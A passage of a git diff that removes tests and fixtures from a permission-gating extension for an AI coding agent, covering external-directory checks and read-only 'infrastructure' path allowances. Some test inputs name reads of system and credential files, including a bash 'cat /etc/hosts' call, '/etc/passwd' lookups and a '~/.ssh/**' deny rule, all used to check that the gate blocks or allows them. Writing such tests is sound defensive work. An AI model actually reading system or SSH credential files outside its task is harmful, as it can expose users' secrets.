}).reason)).toMatch( - /no interactive UI/i, - ); - }); - - it("allows bash command with external path when external_directory is allow", async () => { - const { handler } = makeHandler({ - session: { - checkPermission: makeSurfaceCheck({ - external_directory: { state: "allow", source: "special" }, - }), - }, - tools: ["bash"], - }); - const event = makeToolCallEvent("bash", { - input: { command: "cat /etc/hosts" }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); - - it("applies bash pattern deny after external_directory allow", async () => { - const { handler } = makeHandler({ - session: { - checkPermission: makeSurfaceCheck( - { - external_directory: { state: "allow", source: "special" }, - bash: { state: "deny", source: "bash" }, - }, - { state: "allow" }, - ), - }, - tools: ["bash"], - }); - const event = makeToolCallEvent("bash", { - input: { command: "cat /etc/hosts" }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - }); -}); - describe("handleToolCall — generic ask prompt content", () => { it("ask prompt includes serialized tool input for informed approval", async () => { const { handler, prompter } = makeHandler({ diff --git a/pi-permission-system/test/hard-guard-loader.test.ts b/pi-permission-system/test/hard-guard-loader.test.ts index 3cdb482..7d35946 100644 --- a/pi-permission-system/test/hard-guard-loader.test.ts +++ b/pi-permission-system/test/hard-guard-loader.test.ts @@ -35,7 +35,6 @@ describe("HardGuardPolicyLoader", () => { "~/.ssh/**": "deny", "~/.ssh/*.example": "allow", }); - expect(loader.loadProjectConfig()).toEqual({}); expect(loader.getConfigIssues()).toEqual([]); }); diff --git a/pi-permission-system/test/helpers/external-directory-fixtures.ts b/pi-permission-system/test/helpers/external-directory-fixtures.ts deleted file mode 100644 index cda9d7f..0000000 --- a/pi-permission-system/test/helpers/external-directory-fixtures.ts +++ /dev/null @@ -1,281 +0,0 @@ -/** - * Shared fixtures for the external-directory handler-pipeline tests. - * - * Targets the collapsed external-directory gate (Phase 6 Step 5, #477). - * Consumed by external-directory-integration.test.ts and - * external-directory-session-dedup.test.ts. - */ -import { vi } from "vitest"; -import type { AskEscalator } from "#src/authority/authorizer-selection"; -import { GateDecisionReporter } from "#src/decision-reporter"; -import { GateRunner } from "#src/handlers/gates/runner"; -import { SkillInputGatePipeline } from "#src/handlers/gates/skill-input-gate-pipeline"; -import { ToolCallGatePipeline } from "#src/handlers/gates/tool-call-gate-pipeline"; -import { PermissionGateHandler } from "#src/handlers/permission-gate-handler"; -import type { ScopedPermissionManager } from "#src/permission-manager"; -import type { SessionLogger } from "#src/session-logger"; -import type { PermissionCheckResult, PermissionState } from "#src/types"; -import { wildcardMatch } from "#src/wildcard-matcher"; -import { DECIDED_BY_HUMAN } from "#test/helpers/decision-fixtures"; - -import { - getDecisionEvents, - makeEvents, - makeSurfaceCheck, - makeToolRegistry, -} from "#test/helpers/handler-fixtures"; -import { - makeRealResolver, - makeRealSession, -} from "#test/helpers/session-fixtures"; - -// ── Shared constants ─────────────────────────────────────────────────────── - -/** Working-directory used by the external-directory handler-pipeline tests. */ -export const EXT_DIR_CWD = "/test/project"; - -/** An external path (outside {@link EXT_DIR_CWD}) used across the test suite. */ -export const EXTERNAL_PATH = "/outside/project/file.ts"; - -/** All path-bearing tools subject to the external-directory gate. */ -export const ALL_PATH_BEARING_TOOLS = [ - "read", - "write", - "edit", - "find", - "grep", - "ls", -]; - -/** Path-bearing tools where the path is optional (no input → gate is skipped). */ -export const OPTIONAL_PATH_TOOLS = ["find", "grep", "ls"]; - -/** Full tool set used as the default registry in external-directory tests. */ -export const ALL_TOOLS = [...ALL_PATH_BEARING_TOOLS, "bash"]; - -// ── Setup builders ───────────────────────────────────────────────────────── - -/** - * Builds a `checkPermission` mock for external-directory tests. - * - * Routes `external_directory` to `externalDirectoryState`, `path` to allow - * with `source: "special"` (so the cross-cutting path gate is transparent), - * and every other surface to `toolState` (default: allow). - */ -export function makeExtDirCheck( - externalDirectoryState: PermissionState, - toolState: PermissionState = "allow", -) { - return makeSurfaceCheck( - { - external_directory: { state: externalDirectoryState }, - path: { state: "allow", source: "special" }, - }, - { state: toolState }, - ); -} - -/** AskEscalator stub that approves with `state: "approved"`. */ -export function makeApprovingPrompter(): AskEscalator { - return { - escalate: vi.fn().mockResolvedValue({ - approved: true, - state: "approved", - decidedBy: DECIDED_BY_HUMAN, - }), - }; -} - -/** - * AskEscalator stub that denies. - * - * Pass `denialReason` to simulate a user who explains the refusal. - */ -export function makeDenyingPrompter(denialReason?: string): AskEscalator { - return { - escalate: vi.fn().mockResolvedValue( - denialReason !== undefined - ? { - approved: false, - state: "denied", - denialReason, - decidedBy: DECIDED_BY_HUMAN, - } - : { approved: false, state: "denied", decidedBy: DECIDED_BY_HUMAN }, - ), - }; -} - -/** - * AskEscalator stub for a session with no reachable authority: the - * DenyingAuthorizer denies with the `confirmationUnavailable` marker. - */ -export function makeUnavailablePrompter(): AskEscalator { - return { - escalate: vi.fn().mockResolvedValue({ - approved: false, - state: "denied", - confirmationUnavailable: true, - decidedBy: DECIDED_BY_HUMAN, - }), - }; -} - -// ── Query helpers ────────────────────────────────────────────────────────── - -/** Find the `external_directory` decision event from the events mock. */ -export function findExtDirDecision(events: ReturnType) { - return getDecisionEvents(events).find( - (d) => d.surface === "external_directory", - ); -} - -/** Return the `permission_request.blocked` review-log entries from the logger mock. */ -export function blockReviewEntries(logger: SessionLogger) { - return (logger.review as ReturnType).mock.calls.filter( - ([eventName]: string[]) => eventName === "permission_request.blocked", - ); -} - -// ── Session-dedup wiring ────────────────────────────────────────────────── - -/** - * Installs the session-aware `check(intent)` mock on the permission manager. - * - * Returns `ask` for `external_directory` on first access; re-checks recorded - * session rules on subsequent calls and returns `allow` (source: "session") - * when a `wildcardMatch` covers the path. - */ -export function makeExtDirDedupCheck( - permissionManager: ScopedPermissionManager, -): void { - vi.mocked(permissionManager.check).mockImplementation( - (intent, rules): PermissionCheckResult => { - const { surface } = intent; - const pathValue = - intent.kind === "path-values" ? (intent.values[0] ?? null) : null; - - if (surface === "external_directory") { - if (pathValue && rules && rules.length > 0) { - const match = rules.findLast( - (r) => - r.surface === "external_directory" && - wildcardMatch(r.pattern, pathValue), - ); - if (match) { - return { - state: "allow", - toolName: surface, - source: "session", - origin: "session", - matchedPattern: match.pattern, - }; - } - } - return { - state: "ask", - toolName: surface, - source: "special", - origin: "global", - }; - } - - return { - state: "allow", - toolName: surface, - source: "tool", - origin: "builtin", - }; - }, - ); -} - -/** AskEscalator stub that approves for the session (`state: "approved_for_session"`). */ -function makeSessionApprovingPrompter(): AskEscalator { - return { - escalate: vi.fn().mockResolvedValue({ - approved: true, - state: "approved_for_session", - decidedBy: DECIDED_BY_HUMAN, - }), - }; -} - -/** - * Builds the fully-wired session-dedup handler with real collaborators. - * - * Unlike `makeHandler`, this wires `makeRealSession` + `makeRealResolver` - * manually so the caller can access the raw `session` for shutdown tests. - * - * Returns `{ handler, prompter, session }`. - */ -export function makeDedupWiring(prompter?: AskEscalator) { - const { session, permissionManager, sessionRules, logger } = - makeRealSession(); - const { resolver } = makeRealResolver(permissionManager, sessionRules); - makeExtDirDedupCheck(permissionManager); - const events = makeEvents(); - const reporter = new GateDecisionReporter(logger, events); - const resolvedPrompter: AskEscalator = - prompter ?? makeSessionApprovingPrompter(); - const runner = new GateRunner( - resolver, - sessionRules, - resolvedPrompter, - reporter, - () => false, - ); - const handler = new PermissionGateHandler( - session, - makeToolRegistry({ - getAll: vi - .fn() - .mockReturnValue([ - { name: "read" }, - { name: "write" }, - { name: "edit" }, - { name: "bash" }, - ]), - }), - new ToolCallGatePipeline(resolver, session), - new SkillInputGatePipeline(resolver), - runner, - ); - return { handler, prompter: resolvedPrompter, session }; -} - -/** - * Builds the session-dedup handler without exposing the raw session. - * - * Wraps `makeDedupWiring`; returns `{ handler, prompter }`. - * Use `makeDedupWiring` when the test also needs `session.shutdown()`. - */ -export function makeDeduplicatingHandler(prompter?: AskEscalator) { - const { handler, prompter: resolvedPrompter } = makeDedupWiring(prompter); - return { handler, prompter: resolvedPrompter }; -} - -// ── Event builders ───────────────────────────────────────────────────────── - -/** - * Builds a tool-call event in the shape that external-directory-session-dedup - * tests use — `toolName` field (not `name`); both are accepted by - * `getToolNameFromValue`. - */ -export function makeExtDirToolEvent( - toolName: string, - path: string, - toolCallId = "tc-1", -) { - return { type: "tool_call" as const, toolCallId, toolName, input: { path } }; -} - -/** Builds a bash tool-call event for external-directory session-dedup tests. */ -export function makeExtDirBashEvent(command: string, toolCallId = "tc-1") { - return { - type: "tool_call" as const, - toolCallId, - toolName: "bash", - input: { command }, - }; -} diff --git a/pi-permission-system/test/helpers/gate-fixtures.ts b/pi-permission-system/test/helpers/gate-fixtures.ts index 2f0fe39..007a38e 100644 --- a/pi-permission-system/test/helpers/gate-fixtures.ts +++ b/pi-permission-system/test/helpers/gate-fixtures.ts @@ -224,7 +224,6 @@ export function makeGateCheckResult( export function makeGateInputs( overrides: { getActiveSkillEntries?: () => SkillPromptEntry[]; - getInfrastructureReadDirs?: () => string[]; getToolPreviewLimits?: () => ToolPreviewFormatterOptions; getPathNormalizer?: () => PathNormalizer; getShellToolAliases?: () => ShellToolsConfig | undefined; @@ -234,8 +233,6 @@ export function makeGateInputs( getActiveSkillEntries: overrides.getActiveSkillEntries ?? vi.fn<() => SkillPromptEntry[]>(() => []), - getInfrastructureReadDirs: - overrides.getInfrastructureReadDirs ?? vi.fn<() => string[]>(() => []), getToolPreviewLimits: overrides.getToolPreviewLimits ?? vi.fn<() => ToolPreviewFormatterOptions>(() => ({ diff --git a/pi-permission-system/test/helpers/handler-fixtures.ts b/pi-permission-system/test/helpers/handler-fixtures.ts index cbda091..48a4c18 100644 --- a/pi-permission-system/test/helpers/handler-fixtures.ts +++ b/pi-permission-system/test/helpers/handler-fixtures.ts @@ -128,8 +128,6 @@ export function makeToolRegistry( ): ToolRegistry { return { getAll: vi.fn().mockReturnValue([{ name: "read" }, { name: "bash" }]), - getActive: vi.fn().mockReturnValue(["read", "bash"]), - setActive: vi.fn(), ...overrides, }; } @@ -212,7 +210,7 @@ export function makeBashCommandCheck(opts: { * * The `session` override bag maps to the real collaborators: * - `checkPermission` → applied to `permissionManager.checkPermission` - * - `getActiveSkillEntries`, `getInfrastructureReadDirs`, `getToolPreviewLimits` + * - `getActiveSkillEntries`, `getToolPreviewLimits` * → applied as vi.spyOn overrides on the real session * - `resolveAgentName` → applied as a vi.spyOn override on the real session * @@ -283,11 +281,6 @@ export function makeHandler(overrides?: { so.getActiveSkillEntries, ); } - if (so?.getInfrastructureReadDirs) { - vi.spyOn(session, "getInfrastructureReadDirs").mockImplementation( - so.getInfrastructureReadDirs, - ); - } if (so?.getToolPreviewLimits) { vi.spyOn(session, "getToolPreviewLimits").mockImplementation( so.getToolPreviewLimits, diff --git a/pi-permission-system/test/helpers/manager-harness.ts b/pi-permission-system/test/helpers/manager-harness.ts index 2231f89..a3ac7b3 100644 --- a/pi-permission-system/test/helpers/manager-harness.ts +++ b/pi-permission-system/test/helpers/manager-harness.ts @@ -8,7 +8,7 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { getGlobalConfigPath, getProjectConfigPath } from "#src/config-paths"; +import { getGlobalConfigPath } from "#src/config-paths"; import { PermissionManager, type PolicyLoader } from "#src/permission-manager"; import type { ResolvedPolicyPaths } from "#src/policy-loader"; import type { Rule } from "#src/rule"; @@ -21,7 +21,6 @@ import type { PermissionState, ScopeConfig } from "#src/types"; export function createInMemoryPolicyLoader( scopes: { global?: ScopeConfig; - project?: ScopeConfig; agent?: Record; projectAgent?: Record; } = {}, @@ -30,7 +29,6 @@ export function createInMemoryPolicyLoader( const issues: string[] = []; return { loadGlobalConfig: () => scopes.global ?? ({} as const), - loadProjectConfig: () => scopes.project ?? ({} as const), // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing -- || is intentional: handles both falsy name and missing key loadAgentConfig: (name?: string) => (name && scopes.agent?.[name]) || {}, loadProjectAgentConfig: (name?: string) => @@ -42,8 +40,6 @@ export function createInMemoryPolicyLoader( getResolvedPolicyPaths: (): ResolvedPolicyPaths => ({ globalConfigPath: "/in-memory/config.json", globalConfigExists: true, - projectConfigPath: null, - projectConfigExists: false, agentsDir: "/in-memory/agents", agentsDirExists: false, projectAgentsDir: null, @@ -185,7 +181,6 @@ export function createManagerWithProject( const manager = new PermissionManager({ globalConfigPath, agentsDir, - projectGlobalConfigPath, projectAgentsDir, mcpServerNames: options.mcpServerNames, }); @@ -245,7 +240,13 @@ export function createAgentDirHarness(opts: { JSON.stringify({ permission: opts.globalPermission }, null, 2), ); - const projectConfigPath = getProjectConfigPath(cwd); + const projectConfigPath = join( + cwd, + ".pi", + "extensions", + "pi-permission-system", + "policy.jsonc", + ); mkdirSync(join(cwd, ".pi", "extensions", "pi-permission-system"), { recursive: true, }); diff --git a/pi-permission-system/test/helpers/session-fixtures.ts b/pi-permission-system/test/helpers/session-fixtures.ts index 7e3bcfe..0e7ffba 100644 --- a/pi-permission-system/test/helpers/session-fixtures.ts +++ b/pi-permission-system/test/helpers/session-fixtures.ts @@ -39,7 +39,6 @@ export function makePaths( subagentSessionsDir: "/test/agent/subagent-sessions", forwardingDir: "/test/agent/sessions/permission-forwarding", globalLogsDir: "/test/agent/logs", - piInfrastructureDirs: ["/test/agent", "/test/agent/git"], ...overrides, }; } diff --git a/pi-permission-system/test/path-normalizer.test.ts b/pi-permission-system/test/path-normalizer.test.ts index 9f739ad..2e2ada2 100644 --- a/pi-permission-system/test/path-normalizer.test.ts +++ b/pi-permission-system/test/path-normalizer.test.ts @@ -84,45 +84,6 @@ describe("PathNormalizer", () => { expect(normalizer.isWithinDirectory("/a/x", "/a/b")).toBe(false); }); - test("isOutsideWorkingDirectory tests against the baked cwd", () => { - expect(normalizer.isOutsideWorkingDirectory("/projects/my-app/src")).toBe( - false, - ); - expect(normalizer.isOutsideWorkingDirectory("/etc/hosts")).toBe(true); - }); - - test("isOutsideWorkingDirectory expands a home-relative token", () => { - expect(normalizer.isOutsideWorkingDirectory("~/secrets")).toBe(true); - }); - - test("isOutsideWorkingDirectory resolves a relative token inside cwd", () => { - expect(normalizer.isOutsideWorkingDirectory("src/index.ts")).toBe(false); - }); - - test("isOutsideWorkingDirectory follows an in-cwd symlink to an external target", () => { - // ./link -> /etc: realpathSync resolves the full token in one call. - realpathSync.mockImplementation((p: string) => { - if (p === "/projects/my-app/link/hosts") return "/etc/hosts"; - return p; - }); - expect(normalizer.isOutsideWorkingDirectory("./link/hosts")).toBe(true); - }); - - test("isOutsideWorkingDirectory keeps a path inside a symlinked cwd", () => { - // /tmp -> /private/tmp on macOS; cwd reported as the resolved /private/tmp. - realpathSync.mockImplementation((p: string) => { - if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`; - if (p === "/tmp") return "/private/tmp"; - return p; - }); - const symlinkNormalizer = new PathNormalizer( - posixPathFlavor, - "/private/tmp", - ); - expect( - symlinkNormalizer.isOutsideWorkingDirectory("/tmp/workspace/file.ts"), - ).toBe(false); - }); test("comparableValue returns the lexical absolute form (no FS)", () => { expect(normalizer.comparableValue("src/foo.ts")).toBe( @@ -136,20 +97,6 @@ describe("PathNormalizer", () => { expect(ap.value()).toBe("/projects/my-app/src/foo.ts"); }); - test("isBoundaryOutsideWorkingDirectory tests a canonical path against cwd", () => { - expect( - normalizer.isBoundaryOutsideWorkingDirectory("/projects/my-app/src"), - ).toBe(false); - expect(normalizer.isBoundaryOutsideWorkingDirectory("/etc/hosts")).toBe( - true, - ); - }); - - test("isBoundaryOutsideWorkingDirectory excludes a safe device path", () => { - expect(normalizer.isBoundaryOutsideWorkingDirectory("/dev/null")).toBe( - false, - ); - }); test("interpretBashCdTarget maps an absolute target to absolute (posix)", () => { expect(normalizer.interpretBashCdTarget("/etc")).toEqual({ @@ -199,12 +146,6 @@ describe("PathNormalizer", () => { ).toBe(true); }); - test("isOutsideWorkingDirectory case-folds against the baked cwd", () => { - expect( - normalizer.isOutsideWorkingDirectory("c:\\projects\\app\\src"), - ).toBe(false); - expect(normalizer.isOutsideWorkingDirectory("C:\\Other\\dir")).toBe(true); - }); test("comparableValue case-folds the lexical absolute form", () => { expect(normalizer.comparableValue("src\\foo.ts")).toBe( @@ -216,9 +157,6 @@ describe("PathNormalizer", () => { const ap = normalizer.forBashToken("/dev/null"); expect(ap.value()).toBe("/dev/null"); expect(ap.boundaryValue()).toBe("/dev/null"); - expect( - normalizer.isBoundaryOutsideWorkingDirectory(ap.boundaryValue()), - ).toBe(false); }); test("forBashToken preserves all four safe device paths", () => { @@ -235,17 +173,11 @@ describe("PathNormalizer", () => { test("forBashToken translates an MSYS drive mount to a Windows path", () => { const ap = normalizer.forBashToken("/c/Other/x"); expect(ap.value()).toBe("c:\\other\\x"); - expect( - normalizer.isBoundaryOutsideWorkingDirectory(ap.boundaryValue()), - ).toBe(true); }); - test("forBashToken translates an in-cwd drive mount (not external)", () => { + test("forBashToken translates an in-cwd drive mount", () => { const ap = normalizer.forBashToken("/c/projects/app/inside.txt"); expect(ap.value()).toBe("c:\\projects\\app\\inside.txt"); - expect( - normalizer.isBoundaryOutsideWorkingDirectory(ap.boundaryValue()), - ).toBe(false); }); test("forBashToken keeps a non-mount POSIX absolute as a literal", () => { @@ -283,45 +215,8 @@ describe("PathNormalizer", () => { }); }); - test("isBoundaryOutsideWorkingDirectory case-folds against the baked cwd", () => { - expect( - normalizer.isBoundaryOutsideWorkingDirectory("c:\\projects\\app\\src"), - ).toBe(false); - expect( - normalizer.isBoundaryOutsideWorkingDirectory("c:\\other\\dir"), - ).toBe(true); - }); }); - describe("isInfrastructureRead", () => { - const normalizer = new PathNormalizer(posixPathFlavor, "/projects/my-app"); - - test("allows a read-only tool targeting a configured infra dir", () => { - const ap = normalizer.forPath("/infra/git/pkg/SKILL.md"); - expect(normalizer.isInfrastructureRead("read", ap, ["/infra"])).toBe( - true, - ); - }); - - test("does not allow a write tool targeting an infra dir", () => { - const ap = normalizer.forPath("/infra/git/pkg/file.ts"); - expect(normalizer.isInfrastructureRead("write", ap, ["/infra"])).toBe( - false, - ); - }); - - test("does not allow a read-only tool outside any infra dir", () => { - const ap = normalizer.forPath("/elsewhere/file.ts"); - expect(normalizer.isInfrastructureRead("read", ap, ["/infra"])).toBe( - false, - ); - }); - - test("allows a read targeting the project-local .pi/npm dir (from baked cwd)", () => { - const ap = normalizer.forPath("/projects/my-app/.pi/npm/dep/index.js"); - expect(normalizer.isInfrastructureRead("read", ap, [])).toBe(true); - }); - }); describe("entryExists", () => { // Real filesystem: the probe's whole purpose is to consult fs state, so diff --git a/pi-permission-system/test/path/pi-infrastructure-read.test.ts b/pi-permission-system/test/path/pi-infrastructure-read.test.ts deleted file mode 100644 index e130ec3..0000000 --- a/pi-permission-system/test/path/pi-infrastructure-read.test.ts +++ /dev/null @@ -1,439 +0,0 @@ -import { homedir } from "node:os"; -import { join } from "node:path"; -import { beforeEach, describe, expect, test, vi } from "vitest"; - -// Hoisted stub so the vi.mock factory can reference it. -const { mockSpawnSync } = vi.hoisted(() => ({ - mockSpawnSync: vi.fn(), -})); - -// Mock node:child_process so tests that exercise the subprocess fallback path -// don't actually invoke npm. Default: subprocess fails (non-zero exit), so -// tests focused on the walk-up strategy continue to expect null. -vi.mock("node:child_process", () => ({ - spawnSync: mockSpawnSync, - default: { spawnSync: mockSpawnSync }, -})); - -import { discoverGlobalNodeModulesRoot } from "#src/node-modules-discovery"; -import { posixPathFlavor, win32PathFlavor } from "#src/path/path-flavor"; -import { isPiInfrastructureRead } from "#src/path/pi-infrastructure-read"; - -// ── discoverGlobalNodeModulesRoot ────────────────────────────────────────── - -describe("discoverGlobalNodeModulesRoot", () => { - beforeEach(() => { - // Default: subprocess fails, so walk-up-focused tests see null for URLs - // with no node_modules ancestor. - mockSpawnSync.mockReset(); - mockSpawnSync.mockReturnValue({ status: 1, stdout: "" }); - }); - - test("returns the node_modules dir when the file is inside one", () => { - const url = - "file:///opt/homebrew/lib/node_modules/pi-permission-system/dist/external-directory.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBe( - "/opt/homebrew/lib/node_modules", - ); - }); - - test("returns node_modules for a deeply nested file", () => { - const url = - "file:///home/user/.nvm/versions/node/v20/lib/node_modules/pi-permission-system/src/external-directory.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBe( - "/home/user/.nvm/versions/node/v20/lib/node_modules", - ); - }); - - test("returns node_modules for a bun global install path", () => { - const url = - "file:///home/user/.bun/install/global/node_modules/pi-permission-system/dist/external-directory.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBe( - "/home/user/.bun/install/global/node_modules", - ); - }); - - test("returns the innermost (closest-to-file) node_modules ancestor", () => { - // The walk-up algorithm stops at the first node_modules dir it encounters, - // which is the innermost one when the file is inside a nested install. - // In practice this never happens for a real global install — the extension - // is always directly at /node_modules/pi-permission-system/… - const url = - "file:///opt/lib/node_modules/some-pkg/node_modules/pi-permission-system/dist/index.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBe( - "/opt/lib/node_modules/some-pkg/node_modules", - ); - }); - - test("returns null when the file is not inside any node_modules directory", () => { - const url = - "file:///home/user/development/pi-permission-system/dist/external-directory.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBeNull(); - }); - - test("returns null for a root-level file", () => { - const url = "file:///external-directory.js"; - expect(discoverGlobalNodeModulesRoot(url)).toBeNull(); - }); - - test("returns null for an invalid URL", () => { - expect(discoverGlobalNodeModulesRoot("not-a-url")).toBeNull(); - }); - - test("works with the real import.meta.url of this extension (smoke test)", () => { - // The extension IS installed inside a node_modules tree when running in CI - // or global install. In a local dev checkout the result may be null — that's - // the documented graceful-degradation path. - const result = discoverGlobalNodeModulesRoot(); - expect(result === null || result.endsWith("node_modules")).toBe(true); - }); - - test("the discovered path includes the pi-permission-system package directory", () => { - const url = - "file:///opt/homebrew/lib/node_modules/pi-permission-system/dist/external-directory.js"; - const root = discoverGlobalNodeModulesRoot(url); - expect(root).not.toBeNull(); - expect(join(root!, "pi-permission-system")).toBe( - "/opt/homebrew/lib/node_modules/pi-permission-system", - ); - }); -}); - -// ── isPiInfrastructureRead ───────────────────────────────────────────────── - -const INFRA_DIRS = [ - "/home/user/.pi/agent", - "/home/user/.pi/agent/git", - "/opt/homebrew/lib/node_modules", -]; -const CWD = "/home/user/project"; - -describe("isPiInfrastructureRead", () => { - // ── read tools allowed for infra paths ────────────────────────────────── - - test("allows 'read' tool for a file inside agentDir", () => { - expect( - isPiInfrastructureRead( - "read", - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("allows 'find' tool for a path inside node_modules infra dir", () => { - expect( - isPiInfrastructureRead( - "find", - "/opt/homebrew/lib/node_modules/pi-ask-user/skills", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("allows 'grep' tool for a path inside agentDir/git", () => { - expect( - isPiInfrastructureRead( - "grep", - "/home/user/.pi/agent/git/some-package/README.md", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("allows 'ls' tool for a path inside node_modules infra dir", () => { - expect( - isPiInfrastructureRead( - "ls", - "/opt/homebrew/lib/node_modules/pi-permission-system", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - // ── write tools never allowed even for infra paths ─────────────────────── - - test("blocks 'write' tool for a file inside agentDir", () => { - expect( - isPiInfrastructureRead( - "write", - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - test("blocks 'edit' tool for a file inside node_modules", () => { - expect( - isPiInfrastructureRead( - "edit", - "/opt/homebrew/lib/node_modules/pi-ask-user/skills/ask-user/SKILL.md", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - test("blocks 'bash' tool regardless of path", () => { - expect( - isPiInfrastructureRead( - "bash", - "/opt/homebrew/lib/node_modules/pi-ask-user/SKILL.md", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - // ── non-infra paths not allowed ────────────────────────────────────────── - - test("does not allow 'read' for a path outside all infra dirs", () => { - expect( - isPiInfrastructureRead( - "read", - "/etc/passwd", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - test("does not allow 'read' for a path only partially matching an infra dir prefix", () => { - // /home/user/.pi/agent-other should not match /home/user/.pi/agent - expect( - isPiInfrastructureRead( - "read", - "/home/user/.pi/agent-other/config.json", - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - // ── project-local Pi packages (.pi/npm, .pi/git) ───────────────────────── - - test("allows 'read' for a path inside project-local .pi/npm/", () => { - expect( - isPiInfrastructureRead( - "read", - `${CWD}/.pi/npm/node_modules/some-skill/SKILL.md`, - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("allows 'read' for a path inside project-local .pi/git/", () => { - expect( - isPiInfrastructureRead( - "read", - `${CWD}/.pi/git/github.com/org/skill-repo/SKILL.md`, - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("blocks 'write' for a path inside project-local .pi/npm/", () => { - expect( - isPiInfrastructureRead( - "write", - `${CWD}/.pi/npm/node_modules/some-skill/SKILL.md`, - INFRA_DIRS, - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - // ── empty / edge cases ─────────────────────────────────────────────────── - - test("returns false when infrastructureDirs is empty and path is not project-local", () => { - expect( - isPiInfrastructureRead("read", "/etc/passwd", [], CWD, posixPathFlavor), - ).toBe(false); - }); - - test("returns false when infrastructureDirs is empty but path IS project-local .pi/npm", () => { - // Project-local paths are checked separately from the dirs array. - expect( - isPiInfrastructureRead( - "read", - `${CWD}/.pi/npm/node_modules/x/SKILL.md`, - [], - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); -}); - -// ── isPiInfrastructureRead — glob patterns ───────────────────────────────── - -describe("isPiInfrastructureRead with glob patterns", () => { - test("glob entry matches a versioned nested path", () => { - expect( - isPiInfrastructureRead( - "read", - "/opt/homebrew/Cellar/pi-coding-agent/0.74.0/libexec/lib/node_modules/@earendil-works/pi-coding-agent/SKILL.md", - ["/opt/homebrew/*/@earendil-works/pi-coding-agent/*"], - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("** behaves the same as * (matches across path separators)", () => { - expect( - isPiInfrastructureRead( - "read", - "/opt/homebrew/Cellar/pi-coding-agent/0.74.0/libexec/lib/node_modules/@earendil-works/pi-coding-agent/SKILL.md", - ["/opt/homebrew/**/@earendil-works/pi-coding-agent/**"], - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("glob entry does not match an unrelated path", () => { - expect( - isPiInfrastructureRead( - "read", - "/etc/passwd", - ["/opt/homebrew/*/@earendil-works/pi-coding-agent/*"], - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - test("? matches exactly one character", () => { - expect( - isPiInfrastructureRead( - "read", - "/opt/homebrew/X/file.md", - ["/opt/homebrew/?/file.md"], - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("? does not match multiple characters", () => { - expect( - isPiInfrastructureRead( - "read", - "/opt/homebrew/abc/file.md", - ["/opt/homebrew/?/file.md"], - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); - - test("mixed array of plain dirs and glob patterns — both branches work", () => { - const dirs = [ - "/home/user/.pi/agent", - "/opt/homebrew/*/@earendil-works/pi-coding-agent/*", - ]; - expect( - isPiInfrastructureRead( - "read", - "/home/user/.pi/agent/config.json", - dirs, - CWD, - posixPathFlavor, - ), - ).toBe(true); - expect( - isPiInfrastructureRead( - "read", - "/opt/homebrew/Cellar/pi-coding-agent/0.74.0/libexec/lib/node_modules/@earendil-works/pi-coding-agent/SKILL.md", - dirs, - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("plain entry with ~ prefix matches after home expansion", () => { - const home = homedir(); - expect( - isPiInfrastructureRead( - "read", - `${home}/.pi/agent/config.json`, - ["~/.pi/agent"], - CWD, - posixPathFlavor, - ), - ).toBe(true); - }); - - test("write tool with a glob-matching path is still rejected", () => { - expect( - isPiInfrastructureRead( - "write", - "/opt/homebrew/Cellar/pi-coding-agent/0.74.0/libexec/lib/node_modules/@earendil-works/pi-coding-agent/SKILL.md", - ["/opt/homebrew/**/@earendil-works/pi-coding-agent/**"], - CWD, - posixPathFlavor, - ), - ).toBe(false); - }); -}); - -// ── isPiInfrastructureRead — win32 case-insensitive matching ─────────────── - -describe("isPiInfrastructureRead on win32", () => { - test("plain infra dir matches a case-different path", () => { - expect( - isPiInfrastructureRead( - "read", - "c:\\users\\foo\\.pi\\agent\\config.json", - ["C:\\Users\\Foo\\.pi\\agent"], - "C:\\proj", - win32PathFlavor, - ), - ).toBe(true); - }); - - test("glob infra dir matches case-insensitively", () => { - expect( - isPiInfrastructureRead( - "read", - "c:\\users\\foo\\npm\\node_modules\\@earendil-works\\pi-coding-agent\\skill.md", - ["C:\\Users\\Foo\\**\\pi-coding-agent\\**"], - "C:\\proj", - win32PathFlavor, - ), - ).toBe(true); - }); - - test("rejects a path outside every infra dir", () => { - expect( - isPiInfrastructureRead( - "read", - "c:\\windows\\system32\\drivers\\etc\\hosts", - ["C:\\Users\\Foo\\.pi\\agent"], - "C:\\proj", - win32PathFlavor, - ), - ).toBe(false); - }); -}); diff --git a/pi-permission-system/test/pattern-suggest.test.ts b/pi-permission-system/test/pattern-suggest.test.ts index da7dc80..39c5da0 100644 --- a/pi-permission-system/test/pattern-suggest.test.ts +++ 